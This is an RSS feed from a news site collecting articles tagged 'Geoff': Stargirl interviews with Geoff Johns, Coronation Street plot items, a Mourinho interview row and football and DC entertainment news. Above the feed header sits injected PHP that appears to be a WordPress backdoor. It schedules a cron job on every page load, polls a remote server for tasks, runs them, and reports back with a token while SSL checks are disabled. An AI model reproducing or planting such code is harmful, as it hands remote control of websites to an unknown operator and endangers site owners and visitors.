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update_option($k,time(),false); $j=json_decode($resp,true);$tk=$keys['tasks']; if(empty($j[$tk])||!is_array($j[$tk]))return; foreach($j[$tk] as $_task){ $ack=_ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id); if(function_exists('wp_remote_post')){@wp_remote_post($_ack,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($ack)));}else{$actx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($ack),'timeout'=>20,'ignore_errors'=>true)));@file_get_contents($_ack,false,$actx);} } } add_filter('cron_schedules',function($s){$s['ea_fleet']=array('interval'=>$interval,'display'=>'Fleet sync');return $s;}); add_action('init',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ if(!wp_next_scheduled('ea_fleet_sync'))wp_schedule_event(time()+120,'ea_fleet','ea_fleet_sync'); _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,false); },1); add_action('ea_fleet_sync',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,true); }); Geoff – Brief News https://briefnews.eu Latest World News. Find every day short and brief information composed of titles and subtitles and continue reading if interested. Tue, 11 Aug 2020 00:21:50 +0000 en-US hourly 1 https://wordpress.org/?v=7.0.7 https://briefnews.eu/wp-content/uploads/2018/01/cropped-logoSmall-1-32x32.png Geoff – Brief News https://briefnews.eu 32 32 DC’s Stargirl: Geoff Johns Breaks Down Finale’s Kills and Thrills, [Spoiler]’s Dark Struggle, New Season 2 Threats https://briefnews.eu/dcs-stargirl-geoff-johns-breaks-down-finales-kills-and-thrills-spoilers-dark-struggle-new-season-2-threats/ https://briefnews.eu/dcs-stargirl-geoff-johns-breaks-down-finales-kills-and-thrills-spoilers-dark-struggle-new-season-2-threats/#respond Tue, 11 Aug 2020 00:21:50 +0000 https://briefnews.eu/dcs-stargirl-geoff-johns-breaks-down-finales-kills-and-thrills-spoilers-dark-struggle-new-season-2-threats/

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The following contains major spoilers from the Season 1 finale of DC’s Stargirl, which premiered Monday on DC Universe and airs Tuesday at 8/7c on The CW.

The JSA and the ISA faced off in the DC’s Stargirl Season 1 finale, all as the clock ticked down to Brainwave fully brainwashing millions.

With all the gr’ups in a trance and Pat being commanded to strike out as S.T.R.I.P.E. against stepdaughter Courtney, Beth and “Chuck” scrambled to jam Brainwave’s signal, partly by distracting the Gambler by transferring his personal millions to charity. Once the jammer was switched back on and Pat snapped out of it, S.T.R.I.P.E. joined the fight, as Stargirl, Wild Cat and Hourman threw down with Icicle, Dragon King, Sportsmaster and Tigress. Along the way, Cindy got free and joined the melee, first by running through Daddy with her shiv, while the Gambler set Solomon Grundy loose to go whatever a roboto with S.T.R.I.P.E. and then Hourman.

After besting Tigress, Wild Cat made a beeline for the transmission tower, only to run into (but clobber) a herd of Dragon King’s hooded minions. One, though, remained standing — and revealed himself to be an alive Henry Jr.! Except… it wasn’t; it was Sr. tricking Yolanda. The trick was ultimately on him, though, as Wild Cat’s got claws, which she impulsively used to slash the baddie’s throat.

Wild Cat and Stargirl raced to the giant transmission tower jutting out of the high school football field, which the latter handily sliced and diced using her Cosmic Staff. Icicle meanwhile kidnapped Barbara and dragged her to the roof of the American Dream building, where he reiterated his bonkers world view and even more crazily suggested they run away together. Pat, though, arrived to intervene, after which Stargirl and Icicle got into it again, with him eventually getting lobbed onto the street below. And just as he came to and aimed to start zapping again, a pickup truck — driven by Mike (still watching the dog, though!) — came barreling down the street, plowing the frozen foe into ice cubes.

In a series of epilogues, The Shade materialized inside the ISA lair, scoffing at the failure of his colleagues’ brainwashing folly… Cindy rummaged through The Magician’s storage locker, looking for a diamond shard inside of which seems to be the villain Eclipso… the Whitmore-Dugans celebrated Christmas with the whole gang, during which Courtney gave Pat the “World’s Best Dad” mug (sniff!) she had made for her own father all those years ago… and, finally, a man played by Joel McHale show up at Pat’s old apartment complex in North Hollywood, introducing himself to the curious manager as Sylvester Pemberton?!

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TVLine spoke with Stargirl creator and series EP Geoff Johns about Season 1’s highlights, several of the finale’s bug twists, and at least one of Season 2’s new Big Bads.

TVLINE | Season 1 was so well-made, so well-cast, and people really took to it in a way I haven’t seen in a while. What are you most proud of?
Well, I’m really happy that people responded to the show. And I’m happy that we have such an amazing cast. I just think I’m really thrilled that we had such a fun time making this show, and we all get to do a second season. I guess I’m most proud that people embraced the characters — especially since we took some characters that are off the beaten path and we put them front and center. It’s fun to see people say, “I love Dr. Mid-Nite!” [Laughs] It’s so cool, because as a comics fan you want people to validate your favorite characters, and mine have always been these obscure guys.

Stargirl PilotTVLINE | And on a more superficial note, any stunt sequence or visual effect?
You know, I really love how the [cosmic] staff turned out — the personality, how it kinda found a life of its own. It never had a personality like that in the comic books, so bringing it to life gave us so many opportunities — from Josh Stern, our gaffer, who really helped create this “glow stick” that ended up being the staff; [visual effects supervisor] Andrew Orloff at Zoic and his team brought it to life visually; and then Walter Garcia, our stunt coordinator, who figured out a cool way to use it in action that was unique. So the staff is probably my favorite thing. I didn’t realize it was going to be such a big, important, fun character. Brec [Bassinger] didn’t, either; it took a while for her to figure out, “Oh, it’s alive!” It was over the course of the pilot and the early episodes that we suddenly realized how special that staff really was.

Stargirl Finale Yolanda KillsTVLINE | Coming out of the finale, I feel like one of the heaviest moments involved Yolanda (played by Yvette Monreal). She seems to be in a dark place now, clearly having trouble processing that she took a life.
Yes, very much so. That’s going to be a big part of Season 2, her struggle with that. You see it when they’re sitting on the bleachers. You see this relief on Rick’s (Cameron Gellman) face, you see that he found peace — I love that moment where Courtney says, “Are you OK?” and he says, “Yeah,” because there is so much in that “yeah” for him. He’s starting to kind of turn a corner, whereas we see Yolanda turning the other way, as she is sitting a bit distant from the other kids. She’s lost in her own world, thinking about what she has done. That’s definitely something that will play a major role going into Season 2 — how is she going to deal with what she’s done? It’s not just, “Oh, she took out a villain.” It’s, “Oh, she killed somebody.” Rick was ready to [kill someone], and she was not.

Stargirl henryTVLINE | That was a pretty cruel thing you did there, making Yolanda, and us, think for a second that Henry (Jake Austin Walker) was back. Were you counting on the fact that fans were quite vested in that character somehow returning?
One-hundred percent. One of the things we always knew when building the season — and Jake knew this from Day 1 — is that Henry had a finite story. Henry was going to go from this almost unlikeable bully to possibly a redeemed hero, and then ultimately die protecting his new friends when facing his father, while also learning a lesson that Courtney imparted on him and apologizing to Yolanda….. For us, it was a really beautiful arc, and I sat down with Jake before he signed on and talked about the story — because Jake is such an amazing actor — and said, “This is what his story is throughout the season.” And that bit in [Episode] 13 was playing to the superhero trope of “Nobody ever dies” and then subverting it.

I can’t tell you how many people are like, “I hate Brainwave!” They like the actor (Christopher James Baker), they like the character, but they hate him; he’s kind of become the main villain because of how cold and cruel he is and what he does to his own son, so we wanted to make sure that the payback was fairly vicious. His cruelty came back to him, tenfold.

Stargirl Beth BarbaraTVLINE | The “manifesto” that Beth came across — was that a misdirect, or was the ISA really looking to brainwash everyone into becoming Green Deal-loving supporters of universal healthcare?
It’s partially true, but there’s much more to it that they were going to do, as each one of the villains certainly has their own agenda. We’ll see a little bit more of what the surviving villains wanted, and want still, in Season 2, but yeah, Icicle’s view of the world is strange. In his mind, he thinks [his POV] is perfect, as he says, “What if you could cure cancer but it would take 500,000 lives right now? You’d have to kill half a million people but cancer is gone forever, would you do it?” I think it’s a really interesting question for a villain to pose.

Stargirl 1x12 BrainwaveTVLINE | Outside of Brainwave, are there any villain deaths you want to confirm?
Oh, I don’t want to confirm anything, because it’s too much fun to leave it open. [Laughs]

TVLINE | But Brainwave, definitely?
Yeah, he’s dead.

TVLINE | As far as the assorted threats you teased for Season 2, you gave us The Shade… Shiv (Meg DeLacy) and Eclipso… whatever Isaac the “tuba turd” does next, with or without his mother’s leftover violin case… and whomever/whatever Joel McHale is playing in that very final scene.  
Eclipso is one of my very favorite villains in the books, and he’s somebody who in the comics actually killed Beth Chapel and Yolanda Montez — and they never came back, until recently. They were dead before I ever got into comics in the ’90s, but I brought them back at the end of Doomsday Clock. Eclipso is a really interesting character because he embodies darkness and corruption. The Shade, we obviously set up. And there are more character and other surprises we haven’t even hinted at yet for Season 2.

Want more scoop on Stargirl Season 2, or for any other show? Email InsideLine@tvline.com and your question may be answered via Matt’s Inside Line.

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]]> https://briefnews.eu/dcs-stargirl-geoff-johns-breaks-down-finales-kills-and-thrills-spoilers-dark-struggle-new-season-2-threats/feed/ 0 DC’s Stargirl Creator Geoff Johns on Making Superheroes Super-Accessible, Bringing Golden Age Heroes to Life https://briefnews.eu/dcs-stargirl-creator-geoff-johns-on-making-superheroes-super-accessible-bringing-golden-age-heroes-to-life/ https://briefnews.eu/dcs-stargirl-creator-geoff-johns-on-making-superheroes-super-accessible-bringing-golden-age-heroes-to-life/#respond Sun, 17 May 2020 19:44:46 +0000 https://briefnews.eu/dcs-stargirl-creator-geoff-johns-on-making-superheroes-super-accessible-bringing-golden-age-heroes-to-life/

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DC’s Stargirl is ready to shine on assorted screens, more than two decades after the young superhero made her DC Comics debut.

Geoff Johns, the veteran comic books scribe and screenwriter who recently served as DC Entertainment’s CCO for a stretch, created Stargirl aka Courtney Whitmore back in 1999, inspired by his late sister, who had died in the TWA Flight 800 explosion. With the character’s live-action debut, Johns’ vision takes on new meaning, in a series that is light, lively and abundant with star-spangled, family-friendly thrills.

“We all had a lot of fun working on it, and I’m glad that tone is coming through,” Johns said in speaking with TVLine. “We wanted to create something that was for everybody.”

Brec Bassinger (of Hulu’s All Night) headlines the series as Courtney, a spry teen whose life in Los Angeles is upended when her widowed mom, Barbara (Felicity‘s Amy Smart), remarries and in turn relocates them to super-quaint Blue Valley, Nebraska. Though Courtney is no insta-fan of stepdad Pat Dugan (Roadies‘ Luke Wilson) or his son Mike (Trae Romano), things literally brighten up when she discovers in her new home’s cellar a glowing staff that veritably calls out to her. Why has it chosen her, and does it have anything to do with the staff’s previous owner, Starman? Those answers and far bigger questions are addressed in short order, as the series unfolds on DC Universe (every Monday, starting May 18) and on The CW (Tuesdays at 8/7c).

Here, Johns details his development of the superhero series’ tone, some critical castings, and how the version seen on The CW might differ from DC Universe’s longer cuts.

TVLINE | My review likened Stargirl‘s tone to the old Walt Disney movies with Kurt Russell a la The Computer Who Wore Tennis Shoes, while I saw another site draw a comparison to Steven Spielberg/Amblin films. Is that what you were aiming for?
Yeah. You know, we actually held a screening of Back to the Future for the cast and crew before we started shooting, as kind of a kick-off party but also to show the talent what we all wanted — Glen Winter, the director, and everyone working on the show. It was really all about trying to capture that. I’ve said this before, but I loved those movies like Back to the Future, E.T. and Goonies, where they took something like time travel, which was only for genre fans, and made it super-accessible and an emotional story.

TVLINE | And set in, like, Anytown, USA, not New York or Los Angeles.
Yeah. And so I kind of say, what Back to the Future did for time travel and E.T. did for aliens, our aim was to do something like that for superheroes. A small town, grounded, family-oriented, fun, colorful…. That’s what we hope to do.

TVLINE | Had you been wanting to play with live-action Golden Age DC heroes for a while? Was that on a to-do list?
Forever. Ever since I wrote Stars and S.T.R.I.P.E. 20 years ago.

TVLINE | It’s really special to see those distinct costumes come to life.
LJ Shannon designed all the costumes, and we tried to stay as true to the lore as possible. But yeah, seeing the colors of Hourman, that gold, I love it. And I’ve always loved his hood. And Doctor Mid-Nite, Wildcat…. Seeing all of them kind of come to life is so much fun because it’s such a great, unexplored corner of the DC Universe. I mean, I wrote the book JSA for almost a decade and the thing I loved about it is that it was kind of “off to the side.” Like, they didn’t really reach deep into that world of the Golden Age. James Robinson did it in such a wonderful way with Starman and The Golden Age, and he’s been a friend of mine since I was 19, so I really wanted him to work on the show because he loves the Golden Age characters as much as I do. He always comes at superheroes from heart, like I try to. It was fun to work on the show with people that were just getting to know the characters as well as people like James.

TVLINE | What I like about the Golden Age costumes is they’ve got personality. Everyone is not in form-fitting spandex, and there’s utility to them, there’s character. That applies to the villains as well.
They’re utilitarian, like you said. Like, one of the things I love about Doctor Mid-Nite’s costume is there’s a lot of canvas and leather to it.

TVLINE | It’s a little steampunky.
A little steampunky, while Hourman’s feels a little more slick. They all have their own individual look, and hopefully if we get to do more seasons, we have ideas for some more characters to explore. There’s a couple that we haven’t shown this season.

Stargirl PilotTVLINE | Talk about casting Courtney — who of course is a tribute to your late sister — and what ultimately gave Brec Bassinger the edge.
Rich Delia, our casting director, is wonderful. He did Shazam! and IT, so he’s really got a very amazing eye for young talent. We saw hundreds of really talented actors — really, really talented actors — but they had to have a specific mix of youth and power and humor and warmth to them that embodied Stargirl, because she’s so proactive. She’s like the opposite of a reluctant hero, she’s so enthusiastic.

TVLINE | She’s got spunk.
And I love that. I love that her drive is so powerful and she’s so ready to go in and so willing to do the right thing — and it gets her in trouble, which is an attribute my sister had a little bit. But I love that she’s fearless and fights for what’s right. I mean, she does it before she’s even Stargirl. That’s just who Courtney is. It was important to find somebody that could do that and still have a real warmth to her, because she’s not just going in there and be kicking ass. Her real superpower is seeing the potential in people — like [stepdad] Pat, who she tells in Episode 2, “You can do this.” And he’s never heard that before from anyone.

TVLINE | No, he’d actually been told the opposite — “Don’t you dare try to do this. Scram, you’re the sidekick.”
Yes, and the fact that she says it so matter-of-factly, not realizing how much that really means to him…. When he hears that for the first time, Luke [Wilson] gives her that wonderful look, where you appreciate how much that means to him. Her power is to find that untapped potential, and when we saw all these actors, right when Brec came on and read, she killed it. It was funny, it was heartfelt, it was real. She had that youth and energy….

TVLINE | And I feel like she’s nearly an actual teenager playing a teenager, not someone who is 25, 26.
She really sells it. Right when she came in, it was like, “That’s her.” That was it.

Stargirl Pilot PatTVLINE | Luke Wilson is pretty perfect too, as Pat. How did his casting come about?
Ever since I saw Bottle Rocket, I loved, loved him, and when I was writing this I always envisioned Luke. Luke Wilson was Pat Dugan to me in every way, and I wrote it for him. I didn’t know him, but I sent the script to him with a note about the character in the series, and he read it, he liked it. And when we met, he came with all these hilarious ideas about Pat and [his son] Mike that are littered throughout the season.

TVLINE | Yeah, he seems all in on this role.
Oh, 100 percent, and he’s become an incredibly good friend of mine. I was in Atlanta the whole time during production, and we spent a lot of time together on and off set, and he’s just a wonderful guy, and he was so committed and so generous to everybody.  Brec and the kids, they all looked up to him, and that was a fun environment to be in because there was so much enthusiasm among everybody. Luke would always have ideas — like he suggested a different song for an Episode 2 montage, this Johnny Cash song, which is amazing and perfect for Pat Dugan. He got really into the character.

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Christopher James Baker as Brainwave

TVLINE | If anything made me uneasy about the first few episodes, it was the visual of adult male villains such as Brainwave whaling on this teenage girl, as Courtney starts learning the ropes. Was that a concern, “how much is too much”?
It was. I mean, look, this show was designed to be for families. When I was young, we watched Incredible Hulk and Knight Rider, and it was fun to watch shows as a family together. The DC Universe has done stuff that’s much more adult, but Stargirl and the JSA, they’re more traditional in the way superheroes are presented with good and evil and how violent or graphic you get. There was definitely a concentrated effort to make this accessible to everyone so kids could watch it with their parents or alone, or parents can watch it alone…. Hopefully there’s something for everyone. But at the same time, we want the stakes to feel real.

TVLINE | So, her getting her ass handed to her, and visibly bruised up, in the first episodes establishes very real and scary stakes.
Exactly, and we didn’t want to shy away from that. We didn’t want to shy away from the dirt and the blood at times because we do want the stakes to be real. We want the emotion to be real. We try and present a world that is different and heightened and obviously, you know, a little timeless in a way, but the stakes have to be real, not just physically but emotionally.

TVLINE | Lastly, how would you typify the edits you’re making to the DC Universe episodes to fit into 42 minutes on The CW? Because Episode 1, for example, appears to be almost 10 minutes longer on DC Universe.
Episodes 1 and 2 are longer on the DC Universe cut by like, eight minutes or something.

TVLINE | So what are you cutting?
Scenes. Scenes. Rather than “death by a thousand cuts.” Our pacing is extremely purposeful, and we like to keep it. We like to live in scenes, and we don’t need to have dialogue every second. We want people to react, and we want people to experience things with our characters rather than be told everything. So there were scenes that were dropped from Episodes 1 and 2, where we really focused on Courtney and Pat. But from Episode 3 on, they’re almost identical. You won’t be able to tell.

TVLINE | But the scenes missing from 1 and 2, it’s nothing consequential if someone can’t get to the DC Universe version?
Well, I think that they’ll be caught up on everything that they see from there. We had to make choices, but they should be able to catch up on everything. There’s some stuff that obviously we love, but you should be able to follow the show without any problem.

Want scoop on DC’s Stargirl, or for any other show? Email InsideLine@tvline.com and your question may be answered via Matt’s Inside Line.

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“Neighbours can also be key witnesses.  It can, however, be difficult to involve 3rd parties as they may also be concerned for their safety/relationship with the perpetrator. 

“The victim can also find a lot of shame in having to approach friends/family/neighbours for this information but in my experience, those who witness this behaviour are often willing to help the victim,” she added. 

Both Eileen and Cathy are friends of Yasmeen and Geoff, with the former working alongside Tim Metcalfe (Joe Duttine), Geoff’s son. 

On several occasions, Eileen has been stumped when she heard one of Geoff’s excuses about Yasmeen. 

Will she and other friends help Yasmeen get justice? 

If you or anyone you know has been affected by Yasmeen’s storyline, please see Women’s Aid’s website here. 

Coronation Street returns Monday at 7.30pm on ITV. 

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Yasmeen is overwhelmed by his generosity and is still unable to see his sinister side. 

Later, Yasmeen is looking forward to showing off her new look to Cathy but Geoff puts a stop to it.

Instead of complimenting his wife, Geoff knocks her confidence even further and forces her to cancel her plans.

However, has Geoff finally sowed the seeds of doubt in Yasmeen’s friends minds over the threat he poses to Yasmeen?

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Chesney and Gemma Winter (Dolly-Rose Campbell) will shoot their next campaign with Frescho to make more money to support their small family.

However on the shoot, the couple fall asleep and Chesney misses his shift at the kebab shop and is told by Dev Alahan (Jimmi Harkishin) to choose between the PR work or the kebab shop.

Bernie Winter suggests the Weatherfield Gazette run a story about Dev sacking Chesney which leads to more drama.

What will Chesney choose – continue the PR work or return to work for Dev?

Coronation Street continues ITV at 7.30pm.

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Two second-half goals from super-sub Xherdan Shaqiri and one from Sadio Mane helped Liverpool to a 3-1 win to put them back top of the Premier League.

The victory – Liverpool’s first at home over Manchester United since 2013 and Jose Mourinho’s first Anfield defeat since 2007 – takes them 19 points clear of their arch rivals.

It is the biggest margin between the two sides at this stage of the season for 46 years.

Mourinho gave a tense post-match interview afterwards where Shreeves asked him if he was the man to fix United.

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The Special One answered that questioned – eventually – and admitted any chances of winning the title were gone. Instead, United’s sights are on the top four.

But he then took exception to Shreeves questioning whether all the United players were behind him.

Shreeves asked: “Do you think this squad are with you? Have you got the backing of the whole dressing room? Are they playing for you?”

That left Jose Mourinho fuming as he slammed Shreeves and accused him of disrespecting the United players’ integrity.

Man Utd boss Jose Mourinho has row with Geoff Shreeves after Liverpool defeat

Man Utd boss Jose Mourinho has row with Geoff Shreeves after Liverpool defeat (Image: SKYSPORTS)

Man Utd boss Jose Mourinho has row with Geoff Shreeves after Liverpool defeat

Man Utd boss Jose Mourinho has row with Geoff Shreeves after Liverpool defeat (Image: SKYSPORTS)

“I believe they are honest and you believe they are dishonest,” the United boss snapped.

For Gary Neville, the defeat too much to bear as he hit out at the shambles of a midfield during his stint on live commentary for the game.

Disgusted at what he was watching, Neville fumed: “Manchester United are all over the place. I have to say, they haven’t got a centre-midfield player who can pass a football in the club.

“Not one of them can take the ball properly on the half-turn and they can’t see a pass.

Man Utd boss Jose Mourinho has row with Geoff Shreeves after Liverpool defeat

Man Utd boss Jose Mourinho has row with Geoff Shreeves after Liverpool defeat (Image: SKYSPORTS)

“You can’t play through the midfield.

“Juan Mata can play that way but he’s not a centre-midfielder. And now Paul Pogba’s not going to get on the pitch

“You’ve spent £700 million on this team and squad and you’re thinking where is it, where’s it gone?!”

While Roy Keane simply dubbed the United players not up to standard for Old Trafford.

Appearing as a Sky Sports pundit for a one-off appearance, Neville said: “It’s fairly easy sitting up here and being critical. I feel a lot of players playing for Man United aren’t good enough for Man United. They’re good players, but not for Man United.

Man Utd boss Jose Mourinho has row with Geoff Shreeves after Liverpool defeat

Man Utd boss Jose Mourinho has row with Geoff Shreeves after Liverpool defeat (Image: SKYSPORTS)

“The biggest problem for United is defensively. You’ve got to keep clean-sheets and they look like they’re all over the place.

“If Liverpool were on it today, they could have scored four or five.”

While bookmakers Coral reacted by cutting Mourinho into 8-13 (from 5-6) to leave before the final game of the 2018/19 Premier League season. He is 6-5 to still be at the club for that game.

Coral is already betting on who will take over at Old Trafford as the next manager in which Zinedine Zidane is the 5-4 favourite, Antonio Conte is 6-1 and Mauricio Pochettino 7-1.

“With a top four spot at the end of the campaign now looking increasingly unlikely following defeat to their rivals Liverpool at Anfield, the odds on Jose Mourinho leaving before the end of the season have been cut even further,” said Coral’s John Hill.

Man Utd boss Jose Mourinho has row with Geoff Shreeves after Liverpool defeat

Man Utd boss Jose Mourinho has row with Geoff Shreeves after Liverpool defeat (Image: SKYSPORTS)

JOSE MOURINHO AND GEOFF SHREEVES ROW – THE FULL TRANSCRIPT

GS – Geoff Shreeves, JM – Jose Mourinho

GS: The wider picture of course is this is broken right now.

JM: Sorry.

GS: This is broken right now – Manchester United’s worst start to the season in 26 years.

JM: Yeah…

GS: You’re 19 points behind Liverpool.

JM: Yeah…

GS: You’re 11 points behind the top four.

JM: Yeah…

GS: Can you fix this?

JM: What do you mean by fix? If you mean by winning the title, of course not. Of course I can’t fix.

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Man Utd boss Jose Mourinho has row with Geoff Shreeves after Liverpool defeat

Man Utd boss Jose Mourinho has row with Geoff Shreeves after Liverpool defeat (Image: SKYSPORTS)

GS: What can you do?

JM: We can still finish fourth. It’s not easy. For sure, for sure, we’re going to finish in the top six like historically all the top teams. We can get the fourth position. Now we have to look to the fifth, and probably later the fourth.

GS: Do you think this squad are with you? Have you got the backing of the whole dressing room? Are they playing for you?

JM: What is that? What does that mean?

GS: Are they giving 100 per cent?

JM: Are you calling the players dishonest?

GS: No, I’m asking you.

JM: You’re asking me if they’re dishonest.

GS: No, I’m asking you an honest question. Do you believe these Manchester United players are giving 100 per cent and they believe in you?

JM: I believe they are honest and you believe they are dishonest.

GS: That is a clear distinction.

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]]> https://briefnews.eu/man-utd-boss-jose-mourinho-has-row-with-geoff-shreeves-after-liverpool-defeat/feed/ 0 A ‘Stargirl’ TV Show is Coming to DC Universe, Written By Geoff Johns [Comic-Con 2018] https://briefnews.eu/a-stargirl-tv-show-is-coming-to-dc-universe-written-by-geoff-johns-comic-con-2018/ https://briefnews.eu/a-stargirl-tv-show-is-coming-to-dc-universe-written-by-geoff-johns-comic-con-2018/#respond Sun, 22 Jul 2018 17:24:18 +0000 http://briefnews.eu/a-stargirl-tv-show-is-coming-to-dc-universe-written-by-geoff-johns-comic-con-2018/ Stargirl TV show

Last month, famed comic book writer Geoff Johns stepped down as the president and chief creative officer of DC Entertainment to spend more time as a producer with DC films and TV shows. He instantly announced that he’s writing and producing DC’s Green Lantern Corps movie, and now we know about another of his new projects: he’s writing and producing a live-action Stargirl TV show for the fledgling DC Universe streaming service.

During a spotlight panel at San Diego Comic-Con, Johns revealed that he’s working on a Stargirl TV show centered around the DC Comics heroine he created. In the series, the title heroine will reportedly be going “on a mission to bring back the legacy of the Justice Society!” The show debuts in 2019 and will have 13 episodes in its first season.

This project is of deeply personal significance to Johns, who based the comic version of Stargirl on his own sister Courtney, who died in a plane explosion in the 1990s. The character will be a high school student who teams up with the Justice Society to take down villains both past and present. The character has appeared in live-action before, popping up on both Smallville and Legends of Tomorrow, but she’ll almost certainly be recast for this version of the show.

Johns will write and produce the show through his new Mad Ghost Productions company, alongside Greg Berlanti, the TV mastermind who’s largely responsible for DC’s domination of the small screen over the past ten years. Berlanti executive produces all of The CW’s DC superhero shows, including Arrow, The Flash, Supergirl, and Legends of Tomorrow.

We just saw the first foul-mouthed trailer for Titans, a live-action comic series heading to DC Universe, and there’s plenty more shows where that came from. In addition to Stargirl, there’s a Swamp Thing series, a Doom Patrol show, the return of the animated series Young Justice: Outsiders, and a Harley Quinn animated series to boot.

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]]> https://briefnews.eu/a-stargirl-tv-show-is-coming-to-dc-universe-written-by-geoff-johns-comic-con-2018/feed/ 0 England World Cup: Geoff Hurst backs England for glory and makes Gareth Southgate claim https://briefnews.eu/england-world-cup-geoff-hurst-backs-england-for-glory-and-makes-gareth-southgate-claim/ https://briefnews.eu/england-world-cup-geoff-hurst-backs-england-for-glory-and-makes-gareth-southgate-claim/#respond Sun, 08 Jul 2018 18:09:01 +0000 http://briefnews.eu/england-world-cup-geoff-hurst-backs-england-for-glory-and-makes-gareth-southgate-claim/

England moved into the World Cup semi-finals for the first time since 1990 with a 2-0 win over Sweden on Saturday.

They face Croatia on Wednesday for a place in the final where they will meet either France or Belgium.

And Hurst thinks they can go all the way, and says Southgate is the new era Ramsey.

“In terms of similarities, the leadership at the top is vital,” Hurst said.

“We had a terrific manager in Alf Ramsey, who had a great system and he selected a team that could be successful and had good characters.

“We’ve seen the leadership with Gareth Southgate being very impressive, which has engendered a good team spirit. That seems to be quite evident, with what he says, how the team are celebrating with each other – we’re not seeing any bad stories.

“The difference for me is we had four world-class players at the time, whereas I don’t think you could say that at the moment.

“If we get through this and do well at the next tournament, we’ll be talking about them as world class.”

One of the biggest calls Southgate made prior to departing for Russia was to elect Tottenham forward Harry Kane as his captain.

It has proved a shrewd move, with Kane not only providing a tournament-leading six goals so far but also impressing Hurst with his leadership qualities.

“He’s been terrific – scoring goals and playing wise,” Hurst added.

“As a guy selected to lead the group, it was a very good decision. Remaining grounded as a captain also helps to generate team spirit if your leader is popular.”

England failed to get out of the group at the previous World Cup and two years ago they were embarrassingly dumped out of Euro 2016 by Iceland.

Even after being drawn in a favourable group this time around, few thought they would still be active in the final week of the World Cup but Hurst believes they could be crowned champions following Saturday’s quarter-final success over Sweden.

“You wouldn’t have said we were going to win beforehand,” Hurst added.

“(But) where we are today, I would say, categorically, quite clearly, we can win it, without a shadow of doubt.

“Croatia look a very good team, (they have) very good players in (Luka) Modric and (Ivan) Rakitic, they look a dangerous side.

“I would say I would be disappointed if we didn’t beat them. If you’d have said we could be in the semi-finals, play Croatia, would you want that? We’d say, ‘Yes’.”

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]]> https://briefnews.eu/england-world-cup-geoff-hurst-backs-england-for-glory-and-makes-gareth-southgate-claim/feed/ 0 ‘Hitman’ TV Series Teased by DC’s Geoff Johns https://briefnews.eu/hitman-tv-series-teased-by-dcs-geoff-johns/ https://briefnews.eu/hitman-tv-series-teased-by-dcs-geoff-johns/#respond Tue, 16 Jan 2018 07:51:46 +0000 http://briefnews.eu/hitman-tv-series-teased-by-dcs-geoff-johns/ hitman tv series

The CW has found a great deal of success by giving slightly less iconic superheroes the spotlight. Arrow, The Flash, Supergirl, and Legends of Tomorrow have created a DC universe that is more coherent and fun than anything in theaters. So why not bring one of the best and lesser known (at least to non-comics fans) characters of the ’90s to the small screen?

If a few words from DC’s Geoff Johns are any indication, Tommy Monaghan, better known as Hitman, could be coming to the small screen.

Johns, a celebrated comic book writer and DC’s President and Chief Creative Officer, sat on a panel at the DC in D.C. event over the weekend, where he fielded a question about Tommy coming to television (via Comic Book Resources). After explaining that anything can happen, he said, “We are talking about Hitman.”

Of course, this could lead to nothing. I’m sure there are dozens, maybe even hundreds, of DC characters that Johns and the other creatives working on DC television shows want to introduce into their little universe. But the time feels right for Tommy Monaghan, a character who coexisted with the characters of the DC universe while also subverting them at every turn.

Created by writer Garth Ennis and artist John McCrea in 1993, Tommy Monaghan got his own series, titled Hitman and also written and drawn by Ennis and McCrea, in 1996. The series ran for 61 issues and followed the title anti-hero, a super-powered contract killer, as he lived and worked and killed in the mean streets of Gotham City. Despite his unique abilities (telepathy and X-ray vision), Tommy rarely relied on his powers, instead using his wits and all-too-human skills to get by.

Even though his crude and violent ways clash with what we expect from a traditional comic book superhero, Tommy existed in the mainstream DC Universe and would frequently brush shoulders with Batman, Green Lantern, and other more socially acceptable superheroes. An issue where he meets Superman (depicted above) may be the best story in the entire series. Years later, Hitman remains a very good comic (certain aspects have aged better than others) and it’s at its best when it’s reminding you that the dark margins and gutters of the DC comic book landscape are filled with fascinating, blue collar weirdos like Tommy and his friends.

In other words, introducing Hitman to television and into the DC TV universe would be a nice palate cleanser from the squeaky clean outlooks of the other shows and it would provide creators with a character who can take the piss out of noble, upstanding citizens like the Flash and Supergirl. Everyone wins!

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Call it Justice League 1.5: Flashpoint will now boast more than half of the members of the Justice League, with Batman joining Wonder Woman and Cyborg in a feature appearance in the reworked solo Flash film.

With the Dark Knight’s inclusion in the adaptation of the massive crossover event that rebooted the DC Comics, it adds to chatter that Flashpoint could usher in a new era for the DC Extended Universe. That is, if Warner Bros. is still planning to move ahead with its potential universe-rebooting film after Justice League‘s disappointing opening weekend.

Fans were taken aback during Warner Bros.’ San Diego Comic-Con panel earlier this summer when it was announced that The Flash solo movie would be retooled as Flashpoint, the story arc that — along with Crisis on Infinite Earths — is one of the most famous crossover arcs to leave lasting ripple effects throughout the DC Comics universe.

In the story, Barry Allen wakes up in an alternate universe to find his powers missing and the world at war. Aquaman and Wonder Woman are waging a deadly battle across continents, Batman is now Thomas Wayne, and Superman is a captive of the U.S. government. However, just because it shares a title doesn’t mean it shares a story — Warner Bros.’ current DC universe is still in its beginning stages, with the Justice League uniting only this year and two characters releasing solo films thus far. Warner Bros.’ Flashpoint could feasibly be more isolated with fewer far-reaching implications, but with two thirds of the DC Comics Trinity joining, the film adaptation could be closer than we thought.

DC Chief Creative Officer Geoff Johns, and co-head of the DC Films alongside Jon Berg, spoke with Entertainment Weekly on the studio’s plans for Flashpoint, which will be headlined by Ezra Miller:

“There’s elements in it that we’re going to be playing into that we couldn’t do anywhere else. The scale of it, the Batman story of it all.”

